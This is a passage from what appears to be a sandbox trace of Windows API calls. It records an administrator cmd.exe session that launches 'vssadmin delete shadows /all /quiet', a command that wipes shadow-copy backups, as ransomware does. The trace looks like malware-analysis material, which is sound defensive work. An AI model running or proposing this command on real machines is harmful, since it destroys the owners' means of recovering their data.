lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14d3cff6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x14d3cff6f8*=0x1, lpOverlapped=0x0) returned 1 [0047.236] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c74, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0047.236] _get_osfhandle (_FileHandle=0) returned 0x27c [0047.236] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.236] ReadFile (in: hFile=0x27c, lpBuffer=0x7ff7ba029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14d3cff6f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesRead=0x14d3cff6f8*=0x1, lpOverlapped=0x0) returned 1 [0047.236] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=1, lpWideCharStr=0x7ff7ba033c76, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0047.237] _get_osfhandle (_FileHandle=0) returned 0x27c [0047.237] GetFileType (hFile=0x27c) returned 0x3 [0047.237] _get_osfhandle (_FileHandle=0) returned 0x27c [0047.237] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0047.237] _get_osfhandle (_FileHandle=1) returned 0x288 [0047.237] GetFileType (hFile=0x288) returned 0x3 [0047.237] _get_osfhandle (_FileHandle=1) returned 0x288 [0047.237] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0047.237] WriteFile (in: hFile=0x288, lpBuffer=0x7ff7ba029970*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x14d3cff698, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesWritten=0x14d3cff698*=0x24, lpOverlapped=0x0) returned 1 [0047.237] GetProcessHeap () returned 0x1a2483b0000 [0047.237] RtlAllocateHeap (HeapHandle=0x1a2483b0000, Flags=0x8, Size=0x4012) returned 0x1a2483b8fe0 [0047.237] GetProcessHeap () returned 0x1a2483b0000 [0047.237] RtlFreeHeap (HeapHandle=0x1a2483b0000, Flags=0x0, BaseAddress=0x1a2483b8fe0) returned 1 [0047.238] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0047.238] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0047.238] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0047.238] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0047.238] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0047.238] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0047.238] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0047.238] GetProcessHeap () returned 0x1a2483b0000 [0047.238] RtlAllocateHeap (HeapHandle=0x1a2483b0000, Flags=0x8, Size=0xb0) returned 0x1a2483b8320 [0047.239] GetProcessHeap () returned 0x1a2483b0000 [0047.239] RtlAllocateHeap (HeapHandle=0x1a2483b0000, Flags=0x8, Size=0x22) returned 0x1a2483b6a80 [0047.239] GetProcessHeap () returned 0x1a2483b0000 [0047.239] RtlAllocateHeap (HeapHandle=0x1a2483b0000, Flags=0x8, Size=0x48) returned 0x1a2483b1850 [0047.240] GetConsoleOutputCP () returned 0x1b5 [0047.631] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7ba02fbb0 | out: lpCPInfo=0x7ff7ba02fbb0) returned 1 [0047.631] SetThreadUILanguage (LangId=0x0) returned 0x409 [0048.052] GetConsoleTitleW (in: lpConsoleTitle=0x14d3cff4e0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0048.472] malloc (_Size=0xffce) returned 0x1a2485d0840 [0048.472] ??_V@YAXPEAX@Z () returned 0x1a2485d0840 [0048.472] malloc (_Size=0xffce) returned 0x1a2485e0820 [0048.472] ??_V@YAXPEAX@Z () returned 0x1a2485e0820 [0048.473] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0048.473] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0048.473] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0048.473] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0048.473] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0048.473] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0048.473] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0048.473] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0048.473] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0048.473] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0048.473] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0048.473] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0048.473] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0048.473] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0048.473] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0048.473] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0048.473] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0048.473] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0048.473] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0048.473] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0048.473] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0048.473] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0048.473] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0048.473] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0048.473] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0048.474] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0048.474] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0048.474] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0048.474] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0048.474] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0048.474] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0048.474] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0048.474] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0048.474] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0048.474] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0048.474] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0048.474] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0048.474] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0048.474] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0048.474] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0048.474] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0048.474] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0048.474] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0048.474] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0048.474] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0048.474] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0048.474] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0048.474] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0048.474] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0048.474] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0048.474] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0048.474] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0048.474] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0048.474] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0048.474] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0048.474] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0048.474] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0048.474] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0048.474] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0048.474] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0048.474] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0048.474] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0048.474] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0048.474] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0048.475] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0048.475] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0048.475] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0048.475] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0048.475] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0048.475] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0048.475] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0048.475] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0048.475] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0048.475] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0048.475] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0048.475] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0048.475] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0048.475] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0048.475] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0048.475] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0048.475] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0048.475] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0048.475] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0048.475] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0048.475] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0048.475] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0048.475] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0048.475] ??_V@YAXPEAX@Z () returned 0x1 [0048.475] GetProcessHeap () returned 0x1a2483b0000 [0048.475] RtlAllocateHeap (HeapHandle=0x1a2483b0000, Flags=0x8, Size=0xffde) returned 0x1a2483b8fe0 [0048.476] GetProcessHeap () returned 0x1a2483b0000 [0048.476] RtlAllocateHeap (HeapHandle=0x1a2483b0000, Flags=0x8, Size=0x5a) returned 0x1a2483b83e0 [0048.476] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0048.476] malloc (_Size=0xffce) returned 0x1a2485e0820 [0048.476] ??_V@YAXPEAX@Z () returned 0x1a2485e0820 [0048.476] GetProcessHeap () returned 0x1a2483b0000 [0048.476] RtlAllocateHeap (HeapHandle=0x1a2483b0000, Flags=0x8, Size=0x1ffac) returned 0x1a2483c8fd0 [0048.478] SetErrorMode (uMode=0x0) returned 0x0 [0048.478] SetErrorMode (uMode=0x1) returned 0x0 [0048.478] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x1a2483c8fe0, lpFilePart=0x14d3cfed60 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x14d3cfed60*="Desktop") returned 0x17 [0048.478] SetErrorMode (uMode=0x0) returned 0x1 [0048.478] GetProcessHeap () returned 0x1a2483b0000 [0048.478] RtlReAllocateHeap (Heap=0x1a2483b0000, Flags=0x0, Ptr=0x1a2483c8fd0, Size=0x52) returned 0x1a2483c8fd0 [0048.478] GetProcessHeap () returned 0x1a2483b0000 [0048.478] RtlSizeHeap (HeapHandle=0x1a2483b0000, Flags=0x0, MemoryPointer=0x1a2483c8fd0) returned 0x52 [0048.478] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7ba02bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0048.478] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0048.478] GetProcessHeap () returned 0x1a2483b0000 [0048.478] RtlAllocateHeap (HeapHandle=0x1a2483b0000, Flags=0x8, Size=0x1bc) returned 0x1a2483b6c30 [0048.478] GetProcessHeap () returned 0x1a2483b0000 [0048.478] RtlAllocateHeap (HeapHandle=0x1a2483b0000, Flags=0x8, Size=0x368) returned 0x1a2483c9040 [0048.482] GetProcessHeap () returned 0x1a2483b0000 [0048.482] RtlReAllocateHeap (Heap=0x1a2483b0000, Flags=0x0, Ptr=0x1a2483c9040, Size=0x1be) returned 0x1a2483c9040 [0048.482] GetProcessHeap () returned 0x1a2483b0000 [0048.482] RtlSizeHeap (HeapHandle=0x1a2483b0000, Flags=0x0, MemoryPointer=0x1a2483c9040) returned 0x1be [0048.482] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7ba02bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0048.482] GetProcessHeap () returned 0x1a2483b0000 [0048.482] RtlAllocateHeap (HeapHandle=0x1a2483b0000, Flags=0x8, Size=0xe8) returned 0x1a2483b6e00 [0048.482] GetProcessHeap () returned 0x1a2483b0000 [0048.482] RtlReAllocateHeap (Heap=0x1a2483b0000, Flags=0x0, Ptr=0x1a2483b6e00, Size=0x7e) returned 0x1a2483b6e00 [0048.483] GetProcessHeap () returned 0x1a2483b0000 [0048.483] RtlSizeHeap (HeapHandle=0x1a2483b0000, Flags=0x0, MemoryPointer=0x1a2483b6e00) returned 0x7e [0048.483] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0048.483] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x14d3cfead0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14d3cfead0) returned 0xffffffffffffffff [0048.483] GetLastError () returned 0x2 [0048.483] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0048.483] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x14d3cfead0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14d3cfead0) returned 0xffffffffffffffff [0048.483] GetLastError () returned 0x2 [0048.483] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0048.483] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x14d3cfead0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14d3cfead0) returned 0x1a2483b6e90 [0048.484] GetProcessHeap () returned 0x1a2483b0000 [0048.484] RtlAllocateHeap (HeapHandle=0x1a2483b0000, Flags=0x0, Size=0x28) returned 0x1a2483b6ef0 [0048.484] FindClose (in: hFindFile=0x1a2483b6e90 | out: hFindFile=0x1a2483b6e90) returned 1 [0048.484] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x14d3cfead0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14d3cfead0) returned 0xffffffffffffffff [0048.484] GetLastError () returned 0x2 [0048.484] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x14d3cfead0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14d3cfead0) returned 0x1a2483b6e90 [0048.484] GetProcessHeap () returned 0x1a2483b0000 [0048.484] RtlReAllocateHeap (Heap=0x1a2483b0000, Flags=0x0, Ptr=0x1a2483b6ef0, Size=0x8) returned 0x1a2483b6ef0 [0048.484] FindClose (in: hFindFile=0x1a2483b6e90 | out: hFindFile=0x1a2483b6e90) returned 1 [0048.484] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0048.484] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0048.484] ??_V@YAXPEAX@Z () returned 0x1 [0048.484] GetConsoleTitleW (in: lpConsoleTitle=0x14d3cff050, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0049.112] GetProcessHeap () returned 0x1a2483b0000 [0049.112] RtlAllocateHeap (HeapHandle=0x1a2483b0000, Flags=0x8, Size=0x21c) returned 0x1a2483c9210 [0049.112] GetConsoleTitleW (in: lpConsoleTitle=0x1a2483c9220, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0049.586] GetProcessHeap () returned 0x1a2483b0000 [0049.586] RtlReAllocateHeap (Heap=0x1a2483b0000, Flags=0x0, Ptr=0x1a2483c9210, Size=0xc2) returned 0x1a2483c9210 [0049.586] GetProcessHeap () returned 0x1a2483b0000 [0049.586] RtlSizeHeap (HeapHandle=0x1a2483b0000, Flags=0x0, MemoryPointer=0x1a2483c9210) returned 0xc2 [0049.586] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0050.759] GetProcessHeap () returned 0x1a2483b0000 [0050.759] RtlFreeHeap (HeapHandle=0x1a2483b0000, Flags=0x0, BaseAddress=0x1a2483c9210) returned 1 [0050.759] InitializeProcThreadAttributeList (in: lpAttributeList=0x14d3cfef70, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14d3cfee60 | out: lpAttributeList=0x14d3cfef70, lpSize=0x14d3cfee60) returned 1 [0050.759] UpdateProcThreadAttribute (in: lpAttributeList=0x14d3cfef70, dwFlags=0x0, Attribute=0x60001, lpValue=0x14d3cfee4c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14d3cfef70, lpPreviousValue=0x0) returned 1 [0050.759] GetStartupInfoW (in: lpStartupInfo=0x14d3cfef00 | out: lpStartupInfo=0x14d3cfef00*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x27c, hStdOutput=0x288, hStdError=0x288)) [0050.759] GetProcessHeap () returned 0x1a2483b0000 [0050.759] RtlAllocateHeap (HeapHandle=0x1a2483b0000, Flags=0x8, Size=0x20) returned 0x1a2483b6e90 [0050.759] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0050.759] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0050.759] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0050.759] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0050.759] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0050.759] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0050.759] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0050.759] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0050.759] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0050.759] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0050.759] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0050.759] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0050.759] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0050.759] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0050.759] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0050.759] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0050.759] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0050.759] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0050.759] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0050.759] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0050.759] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0050.759] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0050.759] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0050.759] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0050.759] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0050.760] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0050.760] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0050.760] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0050.760] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0050.760] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0050.760] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0050.760] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0050.760] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0050.760] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0050.760] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0050.760] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0050.760] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0050.760] GetProcessHeap () returned 0x1a2483b0000 [0050.760] RtlFreeHeap (HeapHandle=0x1a2483b0000, Flags=0x0, BaseAddress=0x1a2483b6e90) returned 1 [0050.760] GetProcessHeap () returned 0x1a2483b0000 [0050.760] RtlAllocateHeap (HeapHandle=0x1a2483b0000, Flags=0x8, Size=0x12) returned 0x1a2483b6f10 [0050.760] _get_osfhandle (_FileHandle=1) returned 0x288 [0050.760] SetConsoleMode (hConsoleHandle=0x288, dwMode=0x0) returned 0 [0050.760] _get_osfhandle (_FileHandle=0) returned 0x27c [0050.760] SetConsoleMode (hConsoleHandle=0x27c, dwMode=0x0) returned 0 [0050.760] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x14d3cfee90*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14d3cfee68 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x14d3cfee68*(hProcess=0x98, hThread=0x94, dwProcessId=0x39c, dwThreadId=0x344)) returned 1 [0051.554] CloseHandle (hObject=0x94) returned 1 [0051.554] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0051.554] GetProcessHeap () returned 0x1a2483b0000 [0051.554] RtlFreeHeap (HeapHandle=0x1a2483b0000, Flags=0x0, BaseAddress=0x1a2483b8500) returned 1 [0051.554] GetEnvironmentStringsW () returned 0x1a2483b84e0* [0051.554] GetProcessHeap () returned 0x1a2483b0000 [0051.554] RtlAllocateHeap (HeapHandle=0x1a2483b0000, Flags=0x8, Size=0xacc) returned 0x1a2483c9530 [0051.554] FreeEnvironmentStringsA (penv="=") returned 1 [0051.554] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff931f40000 [0051.554] GetProcAddress (hModule=0x7ff931f40000, lpProcName="NtQueryInformationProcess") returned 0x7ff931fe56b0 [0051.554] NtQueryInformationProcess (in: ProcessHandle=0x98, ProcessInformationClass=0x0, ProcessInformation=0x14d3cfe368, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14d3cfe368, ReturnLength=0x0) returned 0x0 [0051.554] ReadProcessMemory (in: hProcess=0x98, lpBaseAddress=0xe1efdcc000, lpBuffer=0x14d3cfe3a0, nSize=0x7a0, lpNumberOfBytesRead=0x14d3cfe360 | out: lpBuffer=0x14d3cfe3a0*, lpNumberOfBytesRead=0x14d3cfe360*=0x7a0) returned 1 [0051.554] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0 [0066.116] GetExitCodeProcess (in: hProcess=0x98, lpExitCode=0x14d3cfede8 | out: lpExitCode=0x14d3cfede8*=0x40010004) returned 1 [0066.116] CloseHandle (hObject=0x98) returned 1 [0066.116] _vsnwprintf (in: _Buffer=0x14d3cfefb8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14d3cfedf8 | out: _Buffer="40010004") returned 8 [0066.116] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="40010004") returned 1 [0066.116] GetProcessHeap () returned 0x1a2483b0000 [0066.116] RtlFreeHeap (HeapHandle=0x1a2483b0000, Flags=0x0, BaseAddress=0x1a2483c9530) returned 1 [0066.116] GetEnvironmentStringsW () returned 0x1a2483c9530* [0066.117] GetProcessHeap () returned 0x1a2483b0000 [0066.117] RtlAllocateHeap (HeapHandle=0x1a2483b0000, Flags=0x8, Size=0xaf2) returned 0x1a2483ca030 [0066.117] FreeEnvironmentStringsA (penv="=") returned 1 [0066.117] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0066.117] GetProcessHeap () returned 0x1a2483b0000 [0066.117] RtlFreeHeap (HeapHandle=0x1a2483b0000, Flags=0x0, BaseAddress=0x1a2483ca030) returned 1 [0066.117] GetEnvironmentStringsW () returned 0x1a2483c9530* [0066.117] GetProcessHeap () returned 0x1a2483b0000 [0066.117] RtlAllocateHeap (HeapHandle=0x1a2483b0000, Flags=0x8, Size=0xaf2) returned 0x1a2483ca030 [0066.117] FreeEnvironmentStringsA (penv="=") returned 1 [0066.117] GetProcessHeap () returned 0x1a2483b0000 [0066.117] RtlFreeHeap (HeapHandle=0x1a2483b0000, Flags=0x0, BaseAddress=0x1a2483b6f10) returned 1 [0066.117] DeleteProcThreadAttributeList (in: lpAttributeList=0x14d3cfef70 | out: lpAttributeList=0x14d3cfef70) [0066.117] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0066.153] ??_V@YAXPEAX@Z () returned 0x1 [0066.153] _get_osfhandle (_FileHandle=1) returned 0x288 [0066.153] SetConsoleMode (hConsoleHandle=0x288, dwMode=0x0) returned 0 [0066.153] _get_osfhandle (_FileHandle=1) returned 0x288 [0066.153] GetConsoleMode (in: hConsoleHandle=0x288, lpMode=0x7ff7ba02fc08 | out: lpMode=0x7ff7ba02fc08) returned 0 [0066.153] _get_osfhandle (_FileHandle=0) returned 0x27c [0066.153] GetConsoleMode (in: 